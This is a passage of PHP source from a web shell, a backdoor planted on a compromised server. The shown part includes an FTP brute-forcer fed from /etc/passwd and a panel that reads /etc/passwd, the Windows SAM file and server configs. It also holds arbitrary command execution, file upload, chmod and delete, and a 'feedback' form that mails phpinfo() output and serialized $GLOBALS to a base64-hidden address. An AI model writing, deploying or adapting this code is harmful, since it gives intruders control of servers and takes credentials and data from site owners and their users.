    if (!$fp) {echo "Can\'t get /etc/passwd for password-list.";}
    else {
      if ($fqb_logging) {
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
        else {$fqb_logfp = FALSE;}
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."

";
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      }
      ob_flush();
      $i = $success = 0;
      $ftpquick_st = getmicrotime();
      while(!feof($fp)) {
        $str = explode(":",fgets($fp,2048));
        if (exftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
          echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
          $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
          if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
          $success++;
          ob_flush();
        }
        if ($i > $fqb_lenght) {break;}
        $i++;
      }
      if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}
      $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
      echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
      $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
      fclose($fqb_logfp);
    }
  }
  else {
    $logfile = $tmpdir_logs."exsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
         "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
         "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
         "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
         "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  }
  echo "</td></tr></table></center>";
}
}
if ($act == "d") {
  if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  else {
    echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
    if (!$win) {
      echo "<tr><td><b>Owner/Group</b></td><td> ";
      $ow = posix_getpwuid(fileowner($d));
      $gr = posix_getgrgid(filegroup($d));
      $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
    }
    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); exshexit();}
if ($act == "security") {
  echo "<div class=barheader>.: Server Security Information :.</div>
".
       "<table>
".
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>
";
  echo "<td>Password File</td><td>";
  if (!$win) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "*nix /etc/passwd:<br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
      echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
      $i = $nixpwd_s;
      while ($i < $nixpwd_e) {
        $uid = posix_getpwuid($i);
        if ($uid) {
          $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
          echo join(":",$uid)."<br>";
        }
        $i++;
      }
    }
    else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
  }
  else {
    $v = $_SERVER["WINDIR"]."
epair\sam";
    if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\repair&ft=download\"><b>Download password file</b></a>"; }
  }
  echo "</td></tr>
";
  echo "<tr><td>Config Files</td><td>
";
  if (!$win) {
    $v = array(
        array("User Domains","/etc/userdomains"),
        array("Cpanel Config","/var/cpanel/accounting.log"),
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),
        array("Apache Config","/etc/httpd.conf"),
        array("Syslog Config","/etc/syslog.conf"),
        array("Message of The Day","/etc/motd"),
        array("Hosts","/etc/hosts")
    );
    $sep = "/";
  }
  else {
    $windir = $_SERVER["WINDIR"];
    $etcdir = $windir . "\system32\drivers\etc\";
    $v = array(
        array("Hosts",$etcdir."hosts"),
        array("Local Network Map",$etcdir."networks"),
        array("LM Hosts",$etcdir."lmhosts.sam"),
    );
    $sep = "\";
  }
  foreach ($v as $sec_arr) {
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
    $sec_d = rtrim($sec_arr[1],$sec_f);
    $sec_full = $sec_d.$sec_f;
    $sec_d = rtrim($sec_d,$sep);
    if (file_get_contents($sec_full)) {
      echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] 
";
    }
  }
  echo "</td></tr>";

  function displaysecinfo($name,$value) {
    if (!empty($value)) {
      echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>
";
    }
  }
  if (!$win) {
    displaysecinfo("OS Version",exexec("cat /proc/version"));
    displaysecinfo("Kernel Version",exexec("sysctl -a | grep version"));
    displaysecinfo("Distrib Name",exexec("cat /etc/issue.net"));
    displaysecinfo("Distrib Name (2)",exexec("cat /etc/*-realise"));
    displaysecinfo("CPU Info",exexec("cat /proc/cpuinfo"));
    displaysecinfo("RAM",exexec("free -m"));
    displaysecinfo("HDD Space",exexec("df -h"));
    displaysecinfo("List of Attributes",exexec("lsattr -a"));
    displaysecinfo("Mount Options",exexec("cat /etc/fstab"));
    displaysecinfo("lynx installed?",exexec("which lynx"));
    displaysecinfo("links installed?",exexec("which links"));
    displaysecinfo("GET installed?",exexec("which GET"));
    displaysecinfo("Where is Apache?",exexec("whereis apache"));
    displaysecinfo("Where is perl?",exexec("whereis perl"));
    displaysecinfo("Locate proftpd.conf",exexec("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",exexec("locate httpd.conf"));
    displaysecinfo("Locate my.conf",exexec("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",exexec("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",exexec("ver"));
    displaysecinfo("Account Settings",exexec("net accounts"));
    displaysecinfo("User Accounts",exexec("net user"));
  }
  echo "</table>
";
}
if ($act == "mkfile") {
  if ($mkfile != $d) {
    if ($overwrite == 0) {
      if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
    }
    else {
      if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
      else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
    }
  }
  else { echo "<div class=fxerrmsg>Enter filename!</div>
"; }
}
if ($act == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
     "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
     "<input type=hidden name=act value=encoder>".
     "<center><table class=contents>".
     "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
     "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
     "<input type=submit value=\"calculate\"></td></tr>".
     "<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
     "<tr><td rowspan=2>Url:</td>".
     "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
     "<tr><td rowspan=2>Base64:</td>".
     "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("","[0]",$debase64);
  $a = explode("
",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
     "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly></td></tr></table></center></form>";
}
if ($act == "fsbuff") {
  $arr_copy = $sess_data["copy"];
  $arr_cut = $sess_data["cut"];
  $arr = array_merge($arr_copy,$arr_cut);
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  else {
    $fx_infohead = "File-System Buffer";
    $ls_arr = $arr;
    $disp_fullpath = TRUE;
    $act = "ls";
  }
}
if ($act == "selfremove") {
  if (($submit == $rndcode) and ($submit != "")) {
    if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; exshexit(); }
    else { echo "<center><b>Can\'t delete ".__FILE__."!</b></center>"; }
  }
  else {
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
    $rnd = rand(0,9).rand(0,9).rand(0,9);
    echo "<form action=\"".$surl."\">
".
         "<input type=hidden name=act value=selfremove>".
         "<input type=hidden name=rndcode value=\"".$rnd."\">".
         "<b>Kill-shell: ".__FILE__." <br>".
         "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">
".
         "</form>
";
  }
}
if ($act == "update") {
  $ret = exsh_getupdate(!!$confirmupdate);
  echo "<b>".$ret."</b>";
  if (stristr($ret,"new version")) {
    echo "<br><br><input type=button onclick=\"location.href=\'".$surl."act=update&confirmupdate=1\';\" value=\"Update now\">";
  }
}
if ($act == "feedback") {
  $suppmail = base64_decode("c2ltdWthczIxQGhvdG1haWwuY29t");
  if (!empty($submit)){
    $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
    $body = $sh_name." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR;
    if (!empty($fdbk_ref)) {
      $tmp = @ob_get_contents();
      ob_clean();
      phpinfo();
      $phpinfo = base64_encode(ob_get_contents());
      ob_clean();
      echo $tmp;
      $body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";
    }
    mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
    echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
         "<input type=hidden name=act value=feedback>".
         "<table class=contents><tr><td class=barheader colspan=2>".
         ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
         "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
         "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
         "*Language: English, Indonesian.</td></tr>".
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
         "</table>
";
  }
}
if ($act == "fxmailer") {
  if (!empty($submit)){
    $headers = \'To: \'.$dest_email."
";
    $headers .= \'From: \'.$sender_name.\' \'.$sender_email."
";
    if (mail($suppmail,$sender_subj,$sender_body,$header)) {
      echo "<center><b>Email sent!</b></center>";
    }
    else { echo "<center><b>Can\'t send email!</b></center>"; }
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
         "<input type=hidden name=act value=fxmailer>".
         "<table class=contents><tr><td class=barheader colspan=2>".
         ".: $sh_name Mailer :.</td></tr>".
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
         "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
         "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
         "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
         "</table>
";
  }
}
if ($act == "search") {
  echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  if (empty($search_in)) {$search_in = $d;}
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  if (!empty($submit)) {
    $found = array();
    $found_d = 0;
    $found_f = 0;
    $search_i_f = 0;
    $search_i_d = 0;
    $a = array(
        "name"=>$search_name,
        "name_regexp"=>$search_name_regexp,
        "text"=>$search_text,
        "text_regexp"=>$search_text_regxp,
        "text_wwo"=>$search_text_wwo,
        "text_cs"=>$search_text_cs,
        "text_not"=>$search_text_not
    );
    $searchtime = getmicrotime();
    $in = array_unique(explode(";",$search_in));
    foreach($in as $v) {exfsearch($v);}
    $searchtime = round(getmicrotime()-$searchtime,4);
    if (count($found) == 0) {echo "No files found!";}
    else {
      $ls_arr = $found;
      $disp_fullpath = TRUE;
      $act = "ls";
    }
  }
  echo "<table class=contents>".
       "<tr><td><form method=POST>".
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
       "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
       "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
       "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
       "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
       "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
       "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
       "</table>
";
  if ($act == "ls") {
    $dspact = $act;
    echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
         "<hr size=\"1\" noshade>";
  }
}
if ($act == "chmod") {
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<b>Change file-mode with error:</b> can\'t get current value.";}
  else {
    $form = TRUE;
    if ($chmod_submit) {
      $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
      if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
      else {$err = "Can\'t chmod to ".$octet.".";}
    }
    if ($form) {
      $perms = parse_perms($mode);
      echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
    }
  }
}
if ($act == "upload") {
  $uploadmess = "";
  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
  if (empty($uploadpath)) {$uploadpath = $d;}
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  if (!empty($submit)) {
    global $_FILES;
    $uploadfile = $_FILES["uploadfile"];
    if (!empty($uploadfile["tmp_name"])) {
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
      else {$destin = $userfilename;}
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can\'t copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
      }
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
    }
    else { echo "No file to upload!"; }
  }
  if ($miniform) {
    echo "<b>".$uploadmess."</b>";
    $act = "ls";
  }
  else {
    echo "<table><tr><td colspan=2 class=barheader>".
         ".: File Upload :.</td>".
         "<td colspan=2>".$uploadmess."</td></tr>".
         "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
         "</form></td></tr></table>";
  }
}
if ($act == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) { $delerr .= "Can\'t delete ".htmlspecialchars($v)."<br>"; }
  }
  if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
  $act = "ls";
}
if (!$usefsbuff) {
  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
    echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
  }
}
else {
  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ex_sess_put($sess_data); $act = "ls"; }
  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ex_sess_put($sess_data); $act = "ls";}
  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ex_sess_put($sess_data); $act = "ls";}
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ex_sess_put($sess_data);}
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$to)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ex_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $act = "ls";
  }
  elseif ($actarcbuff) {
    $arcerr = "";
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
    else {$ext = ".tar.gz";}
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
    $cmdline .= " ".$actarcbuff_path;
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
    foreach($objects as $v) {
      $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
      if (is_dir($v)) {
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
        $v .= "*";
      }
      $cmdline .= " ".$v;
    }
    $tmp = realpath(".");
    chdir($d);
    $ret = exexec($cmdline);
    chdir($tmp);
    if (empty($ret)) {$arcerr .= "Can\'t call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
    $ret = str_replace("
","
",$ret);
    $ret = explode("
",$ret);
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
    foreach($sess_data["cut"] as $k=>$v) {
      if (in_array($v,$ret)) {fs_rmobj($v);}
      unset($sess_data["cut"][$k]);
    }
    ex_sess_put($sess_data);
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
    $act = "ls";
  }
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$d)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ex_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
    $act = "ls";
  }
}
if ($act == "cmd") {
  @chdir($chdir);
  if (!empty($submit)) {
    echo "<div class=barheader>.: Results of Execution :.</div>
";
    $olddir = realpath(".");
    @chdir($d);
    $ret = exexec($cmd);
    $ret = convert_cyr_string($ret,"d","w");
    if ($cmd_txt) {
      $rows = count(explode("
",$ret))+1;
      if ($rows < 10) { $rows = 10; } else { $rows = 30; }
      $cols = 130;
      echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>
";
      //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
    }
    else { echo $ret."<br>"; }
    @chdir($olddir);
  }
}
if ($act == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<div class=fxerrmsg>Can\'t open folder (".htmlspecialchars($d).")!</div>";}
  else {
    $objects = array();
    $vd = "f"; //Viewing mode
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
        elseif (is_dir($v)) {
          if (is_link($v)) {$type = "LINK";}
          else {$type = "DIR";}
          $row[] = $v;
          $row[] = $type;
        }
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
        $row[] = filemtime($v);
        if (!$win) {
          $ow = posix_getpwuid(fileowner($v));
          $gr = posix_getgrgid(filegroup($v));
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
        }
        $row[] = fileperms($v);
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
        elseif (is_link($v)) {$objects["links"][] = $row;}
        elseif (is_dir($v)) {$objects["folders"][] = $row;}
        elseif (is_file($v)) {$objects["files"][] = $row;}
        $i++;
      }
      $row = array();
      $row[] = "<b>Name</b>";
      $row[] = "<b>Size</b>";
      $row[] = "<b>Date Modified</b>";
      if (!$win) {$row[] = "<b>Owner/Group</b>";}
      $row[] = "<b>Perms</b>";
      $row[] = "<b>Action</b>";
      $parsesort = parsesort($sort);
      $sort = $parsesort[0].$parsesort[1];
      $k = $parsesort[0];
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}
      $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
      $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
      $row[$k] .= $y;
      for($i=0;$i<count($row)-1;$i++) {
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
      }
      $v = $parsesort[0];
